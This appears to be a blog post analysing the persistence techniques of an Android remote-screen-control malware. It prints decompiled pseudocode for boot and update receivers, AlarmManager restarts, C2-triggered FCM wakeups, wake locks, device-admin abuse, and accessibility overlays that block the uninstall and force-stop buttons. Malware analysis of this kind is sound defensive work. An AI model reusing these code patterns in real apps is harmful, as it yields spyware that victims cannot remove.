You installed a juicy app. Now it watches your screen, streams it to a remote attacker, records your taps, and you can’t remove it. Here’s why:
A never-ending question: is Android or iOS more secure?
In my view, third-party Android applications can be granted substantial permissions, especially accessibility features, if a user simply clicks “yes” repeatedly. That makes Android more risky, as the weakness often lies with the human user.
A malicious Android app can prevent you from killing or stopping it in various ways. Here is an example of an analysis of the recently discovered Android malware. I focus on the persistence techniques that were not mentioned in the original analysis. It is also my first time using AI-assisted analysis. It is quite remarkable.
BOOT_COMPLETEDThe oldest trick in the Android malware playbook, and still one of the most effective. The malware registers a BroadcastReceiver for android.intent.action.BOOT_COMPLETED, causing it to launch automatically every time the device powers on.
File: OnBootReceiver.java, pseudo code with AI comment
@Override
public void onReceive(Context context, Intent intent) {
if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {
// On Android 11+, abort entirely if the Accessibility Service is not already active
if (Build.VERSION.SDK_INT >= 30 && !InputService.isConnected()) {
return;
}
// ... load saved configuration from SharedPreferences ...
Intent intent2 = new Intent(context.getApplicationContext(), MainService.class);
intent2.setAction(MainService.ACTION_START);
intent2.putExtra(MainService.EXTRA_PORT, ...);
intent2.putExtra(MainService.EXTRA_PASSWORD, ...);
intent2.putExtra(MainService.EXTRA_ACCESS_KEY, ...);
long delay = prefs.getInt(PREFS_KEY_START_ON_BOOT_DELAY, ...) * 1000;
if (delay > 0) {
// Use AlarmManager to delay startup, bypassing Doze mode
alarmManager.setAndAllowWhileIdle(2, SystemClock.elapsedRealtime() + delay, service);
return;
}
// Immediate start
context.getApplicationContext().startForegroundService(intent2);
}
}MY_PACKAGE_REPLACEDWhen the malware updates itself, Android broadcasts android.intent.action.MY_PACKAGE_REPLACED. The malware intercepts this and restarts immediately.
File: OnPackageReplacedReceiver.java , pseudo code with AI comment
@Override
public void onReceive(final Context context, Intent arg) {
if (Intrinsics.areEqual(arg.getAction(), "android.intent.action.MY_PACKAGE_REPLACED")) {
// Check if the service was running before the update
if (MainServicePersistData.loadLastActiveState(context)) {
final Intent loadStartIntent = MainServicePersistData.loadStartIntent(context);
// On Android 11+, wait for the Accessibility Service to reconnect first
if (Build.VERSION.SDK_INT >= 30) {
InputService.runWhenConnected(new Runnable() {
@Override
public void run() {
context.getApplicationContext().startForegroundService(loadStartIntent);
}
});
} else {
context.getApplicationContext().startForegroundService(loadStartIntent);
}
}
}
}AlarmManagerWhen a user swipes the app away from the recent apps list, Android calls onTaskRemoved() on the service. Normally, the service would stop. This malware uses that exact callback to schedule an AlarmManager restart 1 second in the future.
File: MainService.java , pseudo code with AI comment
@Override
public void onTaskRemoved(Intent intent) {
super.onTaskRemoved(intent);
if (this.mIsStoppingByUs) return; // Only reschedule if killed externally
if (!InputService.isConnected()) return;Intent restartIntent = new Intent(this, MainService.class);
restartIntent.setAction(ACTION_START);
restartIntent.putExtras(loadStartIntent);
PendingIntent service = PendingIntent.getService(
getApplicationContext(), 12345, restartIntent, 201326592
);
AlarmManager alarmManager = (AlarmManager) getSystemService("alarm");
long restartAt = System.currentTimeMillis() + 1000; // 1 second from now
if (Build.VERSION.SDK_INT >= 31) {
if (alarmManager.canScheduleExactAlarms()) {
alarmManager.setExactAndAllowWhileIdle(0, restartAt, service);
} else {
alarmManager.set(0, restartAt, service); // Fallback
}
} else {
alarmManager.setExactAndAllowWhileIdle(0, restartAt, service);
}
}
START_STICKY + Persisted StateonStartCommand() returns START_STICKY (1) on the normal active path, meaning Android's service manager will automatically restart the service after it crashes or is killed by the OS under memory pressure, passing a null intent on restart. The null-intent crash-recovery path and several error paths return START_REDELIVER_INTENT (2) instead, which additionally causes Android to re-deliver the last intent on restart.
The malware handles a null intent explicitly: it reads back the full saved startup configuration from SharedPreferences and reconstructs itself exactly as it was.
Join Medium for free to get updates from this writer.
File: MainService.java, pseudo code with AI comment
@Override
public int onStartCommand(final Intent intent, int flags, int startId) {
ConnectIPC();
if (intent == null) {
// Null intent = we were restarted after a crash by Android
final Intent loadStartIntent = MainServicePersistData.loadStartIntent(this);
if (loadStartIntent != null) {
// Crash recovery: reload from persisted state
if (Build.VERSION.SDK_INT >= 30) {
InputService.runWhenConnected(() -> startForegroundService(loadStartIntent));
} else {
startForegroundService(loadStartIntent);
}
}
return 2; // START_REDELIVER_INTENT
}
// ... normal startup logic ...
return 1; // START_STICKY
}File: MainServicePersistData.java, pseudo code with AI comment
// State is saved to SharedPreferences every time the service starts
public static void saveStartIntent(Context context, Intent intent) {
SharedPreferences.Editor edit = PreferenceManager
.getDefaultSharedPreferences(context).edit();
edit.putString(PREFS_KEY_MAIN_SERVICE_PERSIST_DATA_START_INTENT, intent.toUri(0));
edit.apply();
}public static void saveLastActiveState(Context context, boolean isActive) {
SharedPreferences.Editor edit = PreferenceManager
.getDefaultSharedPreferences(context).edit();
edit.putBoolean(PREFS_KEY_MAIN_SERVICE_PERSIST_DATA_LAST_ACTIVE_STATE, isActive);
edit.apply();
}
This is the layer that makes the malware truly attacker-controlled. On first run, it registers an FCM push token and uploads it to the C2 server (ServiceInteractionUtil.UpWakeToken()). Whenever the attacker's server detects the device is offline, it fires a Firebase silent push notification. The device receives it regardless of whether the app is running, Firebase background delivery is handled by Google Play Services at OS level.
File: FcmWakeupService.java, pseudo code with AI comment
@Override
public void onMessageReceived(RemoteMessage remoteMessage) {
try {
if (MainService.isNull()) {
// Service is dead — wake it up remotely
Context app = getApplicationContext();
Intent startIntent = MainServicePersistData.loadStartIntent(app);
if (startIntent == null) {
startIntent = new Intent(app, MainService.class);
startIntent.putExtra(MainService.EXTRA_ACCESS_KEY, /* saved key */);
}
app.startForegroundService(startIntent);
return;
}
} catch (Throwable unused) { }// If already running, handle live control commands
String action = remoteMessage.getData().get("action");
String keep = remoteMessage.getData().get("keep");
int keepSeconds = 60; // default if key is absent
if (keep != null) {
try { keepSeconds = Integer.parseInt(keep); } catch (Exception ignored) {}
}
ServiceInteractionUtil.onFcmWakeup(keepSeconds);
}
@Override
public void onNewToken(String token) {
// Upload the new FCM token to the attacker's C2 server
PreferenceManager.getDefaultSharedPreferences(this)
.edit().putString(FCMTokenKey, token).apply();
ServiceInteractionUtil.UpWakeToken(token);
}
What this means: Even if the user manages to kill all local persistence mechanisms, the attacker can push a silent notification from any internet connection and the malware agent is running again within seconds, with zero user interaction.
Running as a foreground service does two things: it places a persistent notification in the status bar (which can be styled to look benign, e.g. “Syncing…”), and it raises the process priority so Android’s Low Memory Killer is far less likely to terminate it.
Additionally, the malware acquires a WakeLock flag 0x30000006 (SCREEN_DIM_WAKE_LOCK | ACQUIRE_CAUSES_WAKEUP | ON_AFTER_RELEASE) preventing the CPU from sleeping and allowing the lock acquisition itself to wake the screen.
File: MainService.java , pseudo code with AI comment
@Override
public void onCreate() {
// Start as foreground service with a notification
startForeground(
11,
getNotification(null, null, R.drawable.ic_notification_normal, true, null),
16 // FOREGROUND_SERVICE_TYPE_CONNECTED_DEVICE
);// Acquire a WakeLock (SCREEN_DIM_WAKE_LOCK | ACQUIRE_CAUSES_WAKEUP | ON_AFTER_RELEASE)
// 0x30000006 = 0x6 (SCREEN_DIM_WAKE_LOCK) | 0x10000000 (ACQUIRE_CAUSES_WAKEUP) | 0x20000000 (ON_AFTER_RELEASE)
mWakeLock = ((PowerManager) getSystemService("power"))
.newWakeLock(805306374, "MainService:clientsConnected");
}
File: ServiceInteractionUtil.java,A separate heartbeat WakeLock:
private static void acquireWakeLock() {
if (mWakeLock == null) {
PowerManager.WakeLock lock = ((PowerManager) context.getSystemService("power"))
.newWakeLock(1, "DroidVNC-NG:HeartbeatLock"); // PARTIAL_WAKE_LOCK
mWakeLock = lock;
lock.setReferenceCounted(false);
}
if (!mWakeLock.isHeld()) {
mWakeLock.acquire(); // CPU stays on indefinitely
}
}What this means: Two independent WakeLocks are held simultaneously, one on MainService and one in ServiceInteractionUtil. Both must be released for the CPU to sleep.
The malware extends DeviceAdminReceiver and aggressively requests Device Administrator status. Once granted, the app cannot be uninstalled through normal means, Android requires that admin privilege be revoked first, and the settings page to do so is actively blocked (see Layer 8).
File: MyDeviceAdminReceiver.java , pseudo code with AI comment
public static void requestAdminPermissionStatic() {
// Only prompt while the attacker has active VNC control
if (!MainService.isVNCClientWakeUp || DeviceStatusManager.IsScreenOff()) return;if (devicePolicyManager.isAdminActive(componentName)) {
// Already admin - nothing to do
return;
}
// Launch the permission request UI directly
Intent intent = new Intent(context, PermissionRequestActivity.class);
intent.addFlags(276824064); // FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS
context.startActivity(intent);
// Fallback: if startActivity is blocked, send a persistent notification
// that tricks the user into granting admin themselves
}
Once admin is active, the malware can also:
devicePolicyManager.lockNow()setKeyguardDisabledFeatures(componentName, 416) , forcing PIN entry which can be observed via the VNC streampublic static void lockScreenStatic() {
if (devicePolicyManager.isAdminActive(componentName)) {
instance.mDevicePolicyManager.lockNow();
}
}public static void setBiometricsDisabledStatic(boolean disable) {
// 416 = KEYGUARD_DISABLE_FINGERPRINT | KEYGUARD_DISABLE_FACE | KEYGUARD_DISABLE_IRIS
devicePolicyManager.setKeyguardDisabledFeatures(componentName, disable ? 416 : 0);
}
This is the most sophisticated layer. The malware’s InputService extends AccessibilityService, a legitimate Android API for screen readers. The malware abuses it to watch for the user navigating to settings pages that could be used to remove it, then draws invisible click-blocking overlays over the dangerous UI elements.
File: AppProtectionDetector.java, pseudo code with AI comment
// Triggered by every accessibility event (every UI change on the device)
public static void Analyze(InputService inputService, AccessibilityEvent event) {
String pkg = event.getPackageName().toString().toLowerCase();// Watch for settings, uninstall dialogs, security center, permission manager
if (pkg.contains("settings") || pkg.contains("systemui") ||
pkg.contains("packageinstaller") || pkg.contains("securitycenter") ||
pkg.contains("permissionmanager") || pkg.contains(inputService.getPackageName())) {
startMonitoring(inputService); // Start scanning the UI tree
} else {
stopMonitoring();
}
}
When a sensitive screen is detected, it scans the accessibility node tree. Critically, both detection passes first search for the app’s own name on screen and return immediately if it isn’t found , overlays are only drawn once the user has navigated to the specific page that shows or references the app. The two passes are:
analyzeSettings (blocks the Accessibility toggle):
Switch-class elements and covers them; if no Switch found, covers the clickable parent of the app-name nodeanalyzeUninstall (blocks force-stop and uninstall):
android:id/button1 (uninstall confirmation button) and any clickable nodes containing text "stop", "end", "clear", or "Uninstall"private static Rect[] detectUninstallTarget(AccessibilityNodeInfo root) {
// Guard: only proceed if the app's own name is visible somewhere on this screen
findNodesByTextRecursive(root, APP_KEYWORD, matchingNodes);
if (matchingNodes.isEmpty()) return null;// Cover the uninstall confirm button by resource ID
List<AccessibilityNodeInfo> button1Nodes =
root.findAccessibilityNodeInfosByViewId("android:id/button1");
// Cover nodes with dangerous text labels
String[] dangerousText = {"stop", "end", "clear", "Uninstall"};
for (String text : dangerousText) {
findNodesByTextRecursive(root, text, candidates);
// Walk up to clickable parent if node itself isn't clickable
for (AccessibilityNodeInfo node : candidates) {
if (node.isClickable()) {
node.getBoundsInScreen(rect);
targetRects.add(rect);
} else {
AccessibilityNodeInfo parent = node.getParent();
if (parent != null && parent.isClickable()) {
parent.getBoundsInScreen(rect);
targetRects.add(rect);
}
}
}
}
return targetRects.isEmpty() ? null : targetRects.toArray(new Rect[0]);
}
The resulting rectangles are passed to RectOverlayManager.ShowRects(), which draws invisible system-level overlay windows (TYPE_ACCESSIBILITY_OVERLAY) over every identified button, consuming touch events and making the buttons untappable.
// When dangerous UI elements are found, cover them with invisible overlays
AppProtectionDetector.analyzeSettings(accessibilityNodeInfo); // Block toggles
AppProtectionDetector.analyzeUninstall(accessibilityNodeInfo); // Block uninstall
if (scanCount == 0) {
RectOverlayManager.RemoveOverlay(); // Clean up when safe screen is shown
}